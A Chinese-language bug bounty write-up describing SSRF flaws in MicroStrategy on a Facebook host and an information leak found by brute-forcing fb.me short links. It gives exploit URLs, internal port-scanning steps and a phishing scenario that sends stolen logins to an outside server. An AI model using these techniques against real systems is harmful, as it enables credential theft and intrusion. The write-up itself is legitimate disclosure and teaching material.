我快速搜索关键字mstrWebAdmin，发现这是基于MicroStrategy工具构建的商业智能门户：

我用博客证实了这一点：

从 MicroStrategy 的官方配置文档中，我发现有两个端点可以公开访问：

进一步查看 MicroStrategy 的官方配置文档，我发现默认情况下，在商业智能门户（URL：https://m-nexus.thefacebook.com/servlet/mstrWeb ）上启用了 HTTP 基本身份验证，然后我观察到

https://m-nexus.thefacebook.com/servlet/taskProc 不需要身份验证。

它从“ taskId ”参数中获取值来执行一些自定义数据收集和内容生成。通过枚举预建任务（Using Intruder），我发现每个预建任务都会检查有效的身份验证会话参数，但处理短 URL 且不检查有效身份验证会话的“ shortURL ”任务。攻击者可以使用此观察来访问此服务而无需任何身份验证。

我开始对官方文档中提到的所有参数进行模糊测试，但我什么也没找到。😔 每次它给我一条错误消息“源 URL 无效”，状态代码为 500。然后我想，让我们下载托管的 Web 应用程序并开始源代码审查。我下载了一个400多MB的应用程序包。包中有几个脚本和 jar 文件。

我简单地使用jd-gui工具反编译了那个 jar 文件并开始审查代码。我的主要目标是shortURL任务，它处理短 URL 并且不检查有效的身份验证会话。最后我从一个 jar 文件中找到了那个 Java 类。

然后我才知道为什么它每次都给出相同的错误消息，“ shortURL ”任务的“ srcURL ”参数仅采用使用“ https://tinyurl.com/ ”创建的 URL 来导入数据或从中读取数据该 URL。观察以下代码片段：

复制步骤（我发送到 Facebook 的内容）：
1. 打开 Burp Suite代理工具并转到 Burp 菜单并选择“Burp Collaborator 客户端”。生成 Collaborator 负载并将其复制到剪贴板。

2. 从网络浏览器打开“https://tinyurl.com/”，输入协作者负载并创建其微型 URL。复制创建的微型 URL。

3. 在以下 URL 的“srcURL”参数中插入复制的“tiny URL”并在浏览器中打开它：
https://m-nexus.thefacebook.com/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=json&srcURL={YOUR_TINY_URL_HERE}

4. 观察 Burp Collaborator 立即点击，它显示收到请求的IP 地址“ 199.201.64.1 ”。

5. IP — 199.201.64.1 属于 Facebook，已通过 whois 记录确认。

6. 测试内部 SSRF：创建无效内部 IP 地址的微型 URL（例如 123.10.123.10），将其插入“srcURL”参数并观察服务器没有响应。

7. 再次创建有效内部 IP 地址 (127.0.0.1:8080) 的微型 URL，将其插入“srcURL”参数并观察它是否请求 HTTP 基本身份验证。

通过这种观察，我们可以枚举防火墙环境背后的内部基础设施。我很快向 Facebook 报告了我的发现，但被拒绝了，因为他们认为这不是安全漏洞。观察以下响应：

我必须拿出证据。我尝试使用 URL 架构（如 file://、dict://、ftp://、gopher:// 等）读取内部信息。还尝试获取云实例的元数据但没有成功。

一段时间后，我终于想出了一些有影响力的例子。以下是我发送给 Facebook 的一些实时攻击场景以及重现步骤：

1. 反射型跨站脚本（XSS）：

2.借助SSRF的钓鱼攻击：

步骤 1.创建并托管一个 Facebook 登录的钓鱼页面，窃取受害者的 Facebook 登录凭据，看起来像一个合法的登录门户。

步骤 2.从 Web 浏览器打开“ https://tinyurl.com/ ”，创建一个托管钓鱼页面的小 URL，即“ http://ahmedabadexpress.co.in/fb/login/fb.html ”。复制创建的小 URL。

步骤 3.在以下 URL 的“srcURL”参数中插入复制的“tiny URL”并发送给受害者：

https ://m-nexus.thefacebook.com/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=json&srcURL={YOUR_TINY_URL_HERE }

一旦受害者在此页面上输入他/她的用户名和密码，它就会被保存到“ http: //ahmedabadexpress.co.in/fb/login/usernames.txt ”文件中。受害者将被重定向到真实的 Facebook 登录页面。你可以看到主机名是字符串“m-nexus.thefacebook.com”所以它看起来是合法的。

步骤 4.

导航到http://ahmedab adexpress.co.in/fb/login/usernames.txt

URL 并观察被盗凭证。

攻击者还可能使用此漏洞将用户重定向到其他用于服务恶意软件和类似攻击的恶意网页。

3.指纹内部（非互联网暴露）网络感知服务：

我能够扫描防火墙后面的内部网络。我使用 burp suite intruder 发送了超过 10000 个请求来查找服务器上的开放端口或在该端口上运行的任何应用程序。

经过扫描，我终于找到了一个运行在10303端口的名为“ LightRay ”的应用程序。

在我对此进行进一步调查之前，Facebook 安全团队解决了该漏洞。

最后：

故事才刚刚开始

现在我知道 MicroStrategy Web SDK 托管在 Facebook 的生产服务器上。MicroStrategy Web SDK 是用 Java 编程语言编写的，我喜欢在 Java 代码中查找错误。于是，我使用JD Decompiler工具反编译了SDK的各个jar文件，开始review代码。我还在我的服务器上托管了 SDK，这样如果我发现代码中有任何可疑之处，我可以在那里检查。

经过26天的勤奋和打磨，终于得到了一个有趣的观察结果。

在“com.microstrategy.web.app.task.WikiScrapperTask”类中，我观察到字符串“str1”是由我们作为参数发送的用户提供的输入初始化的。它将检查提供的字符串是否以 http://（或https://）开头，如果是，那么它将调用函数“webScrapper”。

“webScrapper”函数将在内部使用 JSOUP 向提供的 URL 发送 GET 请求。它用于获取和解析 HTML 页面。

又是 SSRF..

不幸的是，这次是一个盲目的 SSRF，所以我无法证明它允许提交内部 GET 请求。但是，从 MicroStrategy Web SDK（部署在域 m-nexus.thefacebook.com 上）的源代码中，我确认这是一个内部 SSRF。

根据这一观察，我们无法枚举防火墙环境背后的内部基础设施，也无法泄露任何敏感信息。我知道如果我向 Facebook 报告这个，他们会拒绝，因为这个漏洞没有影响。

那么下一步是什么？——我这会儿脑子一片空白！

我离开它并开始在 Facebook 主域 (facebook.com) 中寻找新的漏洞

几个月后...

我在 Facebook 上发现了另一个漏洞，其中 URL 缩短器可能会泄露有关服务器的敏感信息。

URL 缩短是万维网上的一项技术，其中可以使统一资源定位符大大缩短，但仍可直接指向所需页面。-维基百科

Facebook 在https://fb.me/上有自己的 URL 缩短服务。此 URL 缩短服务供内部（Facebook 员工）和公共用户使用。我注意到短 URL 只会使用 HTTP Location 标头将用户重定向到长 URL。我观察到网站“fb.me”没有设置速率限制。我正在寻找现有的（和/或隐藏的）网络目录和文件。我针对该 Web 服务器发起了基于字典的暴力攻击（大约 2000 个单词）并分析了响应。在 burp suite intruder 的帮助下，我捕获了几个短链接，这些链接将用户重定向到内部系统，但内部系统会将用户重定向到 Facebook 主域（即 facebook.com）。

这是一个场景：

https://fb.me/xyz ==> 301 永久移动 — https://our.intern.facebook.com/intern/{some-internal-data } ==> 302 找到 — https://www.facebook .com/intern/{some-internal-data } ==> 404 Not Found

请注意，一些将用户重定向到内部系统的短链接是由 Facebook 内部人员生成的。它可能包含敏感的内部信息。例如

https://our.intern.facebook.com/intern/webmanager?domain=xyz.com&user=admin& token=YXV0aGVudGljYXRpb24gdG9rZW4g

我已经能够使用单词列表和入侵者获得更多这样的信息。我创建了一个简单的 python 脚本来自动执行此任务。

观察下面我在测试期间获得的信息的屏幕截图。

我只添加了两个屏幕截图。由于 Facebook 的政策，我不能透露所有信息。此漏洞会泄露内部 HTTP GET 查询。该漏洞会在未经任何身份验证的情况下泄露日志文件夹的内部路径、其他文件路径、使用获取数据的内部系统查询、内部 IP 地址、内部 ID、配置相关信息、私人文档等信息。通过利用此漏洞，攻击者可以枚举系统中存在的有效内部 URL。

现在我有两个漏洞：

1. 盲目 SSRF——向内部和外部系统提交 GET 请求
2. 服务器敏感信息泄露——日志文件夹的内部路径、其他文件路径、用于获取数据的内部系统查询、内部 IP 地址、内部 ID

我创建了一个场景，展示了敏感信息泄漏如何对发起路径遍历和服务器端请求伪造 (SSRF) 等特定攻击有用。如果攻击者能够获知网络的内部 IP 地址，他/她就更容易将目标定为内部网络中的系统。

我将两个 PoC 都提交给了 Facebook，我收到了回复：

我观察到盲 SSRF 错误现在已被修补（“wikiScrapper”任务不再可访问/注册）。
嗯..那不公平

我回答了：

我收到回复：

运气不好

经过几天的研究，我发现了另一个盲 SSRF。

从 MicroStrategy web SDK 的源代码中，我确认它是一个内部 SSRF。在“com.microstrategy.web.app.utils.usher”类中，我观察到处理“serverURL”参数的“validateServerURL”函数。“validateServerURL”函数将在内部向提供的 URL 发送 GET 请求。

我请求他们允许我执行我之前电子邮件中描述的操作。
他们回答说，他们能够重现该错误，并且正在研究补丁。他们会尽快向我通报赏金决定。
几天后终于收到回复：

我将其报告给了 MicroStrategy 的安全团队，我收到了以下回复：

该问题现已解决。这是一篇稍长的文章，但我的目的是让您很好地理解如何结合您的所有技能（例如安全代码审查、枚举和脚本知识）来查找关键漏洞。

当我第一次在 Facebook 服务器上遇到这个错误时，我试图将其转换为 RCE，但不幸的是他们实施了良好的安全措施。但是，我从这个漏洞中总共赚了 31500美元（1,000 美元 + 30,000 美元 + 500 美元）。